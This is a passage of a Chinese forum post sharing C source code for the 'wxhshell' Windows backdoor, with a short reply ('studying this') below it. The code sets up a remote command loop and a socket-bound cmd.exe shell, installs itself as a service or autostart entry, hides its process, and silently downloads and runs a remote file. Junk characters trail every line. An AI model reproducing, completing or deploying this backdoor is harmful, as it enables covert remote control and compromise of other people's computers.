  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |NTqJ j  
  else 8"[{[<-   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fl(j,B6Z  
  } XQOM6$~,  
  else { }:s.m8LC5n  
Xe\v6gbD  
    switch(cmd[0]) { #Hl?R5  
  L|'B*  
  // 帮助 05jjLM'e  
  case '?': { zG%'Cw)8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bx-:aC)]2  
    break; _$8:\[J  
  } z 63y8  
  // 安装 n0V^/j}  
  case 'i': { c:B` <  
    if(Install()) I,Jb_)H&t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r0pwKRE~t  
    else 0hXx31JN N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4)XB3$<  
    break; (*T$:/zI S  
    } 2P=~6(  
  // 卸载 L{XW2c$h  
  case 'r': { [{>1wJ Pdj  
    if(Uninstall()) g^jTdrW/s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V8pZr+AJ  
    else MlbcJo3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z(LTHAbBk|  
    break; <<Z, 1{3F  
    } nYBa+>3BDf  
  // 显示 wxhshell 所在路径 ^nFP#J)_5  
  case 'p': { ?1LRR ;-x  
    char svExeFile[MAX_PATH]; ^q|W@uG-(  
    strcpy(svExeFile,"\n\r"); HHs!6`R$0c  
      strcat(svExeFile,ExeFile); NE Zu?g  
        send(wsh,svExeFile,strlen(svExeFile),0); |v 1* [(  
    break; 4#t-?5"  
    } ttBqp|.?S  
  // 重启 U?5G%o(q  
  case 'b': { :FmH=pI!=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Wn?),=WQ{  
    if(Boot(REBOOT)) r{*BJi.b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pWH,nn?w.  
    else { I_R6 M1  
    closesocket(wsh); ;Z`R!  
    ExitThread(0); L7.SH#m  
    } `9T5Dem|#  
    break; ['K}p24,  
    } m GJRCK_  
  // 关机 "];@N!dA  
  case 'd': { z'"Y+EWN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [1z.JfC :S  
    if(Boot(SHUTDOWN)) :" @-Bcln  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8L6b:$Y3@C  
    else { kN#3HI]8  
    closesocket(wsh); 5;HCNwX  
    ExitThread(0); {&6i$4T  
    } pEW~zl  
    break; NQvI=R-g  
    } V"}Jsr  
  // 获取shell BP\6N%HC%&  
  case 's': { !*?9n ^PaF  
    CmdShell(wsh); ua ky2SgN  
    closesocket(wsh); kZi/2UA5Z  
    ExitThread(0); dB:c2  
    break; 2Je]dj4  
  } -_O j iQ R  
  // 退出 3od16{YH  
  case 'x': { P^ <to(|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D`Ka IqLz  
    CloseIt(wsh); =4V SbOlZ  
    break; *D9H3M[o#  
    } _,d<9 Y)  
  // 离开 C46jVl   
  case 'q': { Zp9kxm'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >6)|># Wi  
    closesocket(wsh); lJT"aXt'M  
    WSACleanup(); 7;&,L H  
    exit(1); Sn' +~6i  
    break; L1y71+iqU  
        } Vobq|Rd/%  
  } .;l`VWP  
  } j5]ul!ji  
Y4_xV&   
  // 提示信息 /?Mr2!3N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y hC|hDC  
} l@-h.tS  
  } (=EDqAZg  
>vO+k^'Y  
  return; JZ&_1~Z=  
} aeAx0yE[p  
#l3)3k* ;  
// shell模块句柄 Tf? `_jL  
int CmdShell(SOCKET sock) !_B*Po  
{ -*Th=B-  
STARTUPINFO si; 9QL%q; #  
ZeroMemory(&si,sizeof(si)); Zs,6}m\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WJ[>p ELT,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4%I[.dBnM  
PROCESS_INFORMATION ProcessInfo; 1i'y0]f  
char cmdline[]="cmd"; 1uB$@a\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k,f/9e+#  
  return 0; nr,Z0  
} ErQ6a%~,  
UP%6s:>:  
// 自身启动模式 "^;h'  
int StartFromService(void) !ab ef.%:  
{ )} t't"  
typedef struct L' bY,D(J>  
{ ;Me*# /  
  DWORD ExitStatus; ;K%/s IIke  
  DWORD PebBaseAddress; Q;A\M  
  DWORD AffinityMask; {t!7r_hj  
  DWORD BasePriority; %/5Wj_|p  
  ULONG UniqueProcessId; _mwt{D2r}  
  ULONG InheritedFromUniqueProcessId; ~!cxRd5;F  
}   PROCESS_BASIC_INFORMATION; vAqj4:j  
%~P T7"4  
PROCNTQSIP NtQueryInformationProcess; %H,s~IU  
D{[{&1\)r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l=(( >^i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ek0!~v<I  
X8N9*v y  
  HANDLE             hProcess; 3wcF R0f  
  PROCESS_BASIC_INFORMATION pbi; xgpf2y!{  
3JkdPh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a/1;|1a.  
  if(NULL == hInst ) return 0; Mw)6,O`  
cUdS{K&K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J_m@YkK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $ ]#WC\Hv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); As`=K$^Il.  
CH;U_b  
  if (!NtQueryInformationProcess) return 0; ^w2 HF  
$CX3P)% `  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cDE5/!  
  if(!hProcess) return 0; !\9^|Ef?  
P=\{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P".IW.^kk~  
4v3gpLH  
  CloseHandle(hProcess); ;ko6igx)+  
)5gj0#|CG@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7')W+`o8eL  
if(hProcess==NULL) return 0; ,]W|"NUI  
SY%y*6[6  
HMODULE hMod; 0y?;o*&U\  
char procName[255]; pRL:,q\  
unsigned long cbNeeded; ( }Bb=~  
GQ>0E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o[i N/  
8&| o  
  CloseHandle(hProcess); G9yK/g&q  
KAI2[ gs  
if(strstr(procName,"services")) return 1; // 以服务启动 ;FRUB@:  
_vDmiIn6K  
  return 0; // 注册表启动 1EEcNtpub]  
} NRx I?v  
-)VjjKz]8  
// 主模块 \=bKuP(it  
int StartWxhshell(LPSTR lpCmdLine) a !%,2|U  
{ }(|gC,  
  SOCKET wsl; LdN[N^n[H  
BOOL val=TRUE; k0K$OX*:e  
  int port=0; p'1/J:EnV  
  struct sockaddr_in door; M*kE |q/K  
r~ 2*'zB  
  if(wscfg.ws_autoins) Install(); x3+ {Y  
^879sI  
port=atoi(lpCmdLine); >X' -J{4R  
$D#h, `  
if(port<=0) port=wscfg.ws_port; Ve&_NVPrd  
 k%i.B  
  WSADATA data; p\lR1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UU MB"3e  
6[c|14l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !$oa6*<1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %xOxMK@  
  door.sin_family = AF_INET; t'@mUX:-A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J ~3m7  
  door.sin_port = htons(port); t^FE]$,  
fx[&"$X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1BZ##xV*:G  
closesocket(wsl); 3Z=yCec]  
return 1; ;p`to"6IFD  
} ~uty<fP  
/pPH D]  
  if(listen(wsl,2) == INVALID_SOCKET) { PQ[?zNrSV  
closesocket(wsl); Opcszq5n  
return 1; TnK<Wba  
} %HoD)OJe  
  Wxhshell(wsl); &{a!)I>  
  WSACleanup(); 6AG]7d<  
UGy3 B)  
return 0; to</  
,.>9$(s  
} C9sU^ ]#F  
Vb\g49\o/  
// 以NT服务方式启动 2a eH^:u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /}8Au$nA  
{ ,.cR@5qI  
DWORD   status = 0; _G/ R;N71  
  DWORD   specificError = 0xfffffff; jgIG";:Q  
m{ !$_z8:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zdRVAcrwQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tJrGRlB>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4=Ru{ewRV  
  serviceStatus.dwWin32ExitCode     = 0; xL"J?Gy  
  serviceStatus.dwServiceSpecificExitCode = 0; Pg(Y}Tu  
  serviceStatus.dwCheckPoint       = 0; oMj"l#a*  
  serviceStatus.dwWaitHint       = 0; $) "\N  
RBn/7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h]ae^M  
  if (hServiceStatusHandle==0) return; Mh-"B([Z  
Sl, DZ!  
status = GetLastError(); ocZ}RI#Q  
  if (status!=NO_ERROR) ?%hd3zc+f  
{ ^]R_t@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VPYLDg.'  
    serviceStatus.dwCheckPoint       = 0; *m+FMyr  
    serviceStatus.dwWaitHint       = 0; "I/05k K  
    serviceStatus.dwWin32ExitCode     = status; K {v^Y,B  
    serviceStatus.dwServiceSpecificExitCode = specificError; _Fa\y ZX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jj>Rzj!m  
    return; ~^Cx->l  
  } r*vh3.Agl  
t,|Apl]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O@a OKk  
  serviceStatus.dwCheckPoint       = 0; ~Dq-q6-@t  
  serviceStatus.dwWaitHint       = 0; q| 1%G Nb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~&D =;M/  
} `mz}D76~#  
C?gqX0[ q  
// 处理NT服务事件,比如:启动、停止 HJ 7A/XW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8$ _{R!x  
{ <1*.:CL"s  
switch(fdwControl) y,x 2f%x  
{ MLHCBRi  
case SERVICE_CONTROL_STOP: Et N,  
  serviceStatus.dwWin32ExitCode = 0; cLf90|YFp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  g]?pY  
  serviceStatus.dwCheckPoint   = 0; zl :by?  
  serviceStatus.dwWaitHint     = 0; 6LCtWX  
  { p7Wt(A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }vZf&ib-   
  } -^m?%_<50l  
  return; 6)uBUM;i  
case SERVICE_CONTROL_PAUSE: 5tbCx!tL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +a.2\Qt2A  
  break; oLKliA=q  
case SERVICE_CONTROL_CONTINUE: ~Yk^(hl2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x;u#ec4  
  break; r4SwvxhG  
case SERVICE_CONTROL_INTERROGATE: N)g_LL>^  
  break; $J4\jIipL  
}; ~ O\A 0e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VtLRl0/  
} @rbd`7$%  
-#f.}H'  
// 标准应用程序主函数 TF :'6#p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hb3:,c(  
{ g@>llve{  
'=E;^'Rl  
// 获取操作系统版本 3oLF^^^g  
OsIsNt=GetOsVer(); .>R`#@+I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8)9-*Bzj   
YXWDbr:JX  
  // 从命令行安装 U| Fqna  
  if(strpbrk(lpCmdLine,"iI")) Install(); v3Vve:}+  
3xs<w7  
  // 下载执行文件 Lf5zHUH  
if(wscfg.ws_downexe) { MQwxQ{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (2H GV+Dg  
  WinExec(wscfg.ws_filenam,SW_HIDE); UVD D)  
} D2&d",%&f  
JyE-c}I  
if(!OsIsNt) { xcW\U^1d  
// 如果时win9x,隐藏进程并且设置为注册表启动  N~$>| gn  
HideProc(); 5HOl~E  
StartWxhshell(lpCmdLine); ZEI)U, I.  
} C5dM`_3L  
else c%pf,sm'  
  if(StartFromService()) $~FZJ@qa  
  // 以服务方式启动 Hj{.{V  
  StartServiceCtrlDispatcher(DispatchTable); 8*0QVFn$  
else Bp7p X  
  // 普通方式启动 Li5&^RAo|J  
  StartWxhshell(lpCmdLine); .|[{$&B  
YgcW1}  
return 0; eWAD;x?.  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五